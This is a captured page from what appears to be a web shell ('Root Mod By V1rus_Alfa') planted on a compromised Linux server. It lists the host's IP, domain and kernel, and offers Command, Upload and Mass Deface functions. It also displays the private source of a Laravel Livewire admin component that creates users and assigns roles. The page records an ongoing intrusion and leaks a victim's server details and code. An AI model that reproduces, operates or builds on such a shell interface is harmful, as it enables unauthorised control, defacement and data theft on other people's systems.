���Root Mod By V1rus_Alfa
User / IP
:
216.73.216.158
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
cutunix-shot
/
app
/
Livewire
/
Admin
/
Pages
/
User
/
Modal
/
Viewing: Add.php
<?php namespace App\Livewire\Admin\Pages\User\Modal; use App\Models\User; use Illuminate\Validation\Rule; use Masmerise\Toaster\Toastable; use Spatie\Permission\Models\Role; use function App\Helpers\toEnDigit; use LivewireUI\Modal\ModalComponent; use Illuminate\Support\Facades\Hash; use Illuminate\Support\Facades\Validator; class Add extends ModalComponent { use Toastable; public $item; public function mount() { $this->authorize('users.add'); } protected function rules () { return [ 'name' => 'required', 'role_name' => 'required|notIn:0', 'mobile' => 'required|max:11|'. Rule::unique('users'), ]; } protected function ruleEmail () { return [ 'email' => 'required|email|'. Rule::unique('users'), 'pass' => 'required', ]; } public $form=[ 'name'=>'', 'email'=>'', 'role_name'=>'', 'pass'=>'', 'mobile'=>'', ]; public function submit() { //validate $validation=Validator::make($this->form,$this->rules() , [ 'role_name.required' => 'فیلد نقش الزامی می باشد', ]); if($validation->fails()){ $this->error($validation->messages()->first()); return ; } if($this->form['email']){ $validationEmail=Validator::make($this->form,$this->ruleEmail(), [ 'pass.required' => 'فیلد پسورد الزامی می باشد', ] ); if($validationEmail->fails()){ $this->error($validationEmail->messages()->first()); return ; } } $user=User::create([ 'mobile'=>toEnDigit($this->form['mobile']), 'name'=>$this->form['name'], 'prefix'=>'98', 'country_name'=>'IR', 'register_by'=>'ads', 'type'=>'user', ]); if($this->form['email']){ $user->update([ 'password'=>Hash::make($this->form['pass']), 'email'=>$this->form['email'], ]); } if($this->form['role_name'] && $this->form['role_name'] != 0){ $user->assignRole([$this->form['role_name']]); } //response $this->dispatch('refreshTable'); $this->forceClose()->closeModal(); $this->success(trans('container.operation successful')); return ; } public function back() { return $this->closeModal(); } public function render() { $roles=Role::latest()->get(); return view('livewire.admin.pages.user.modal.add',['roles'=>$roles]); } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa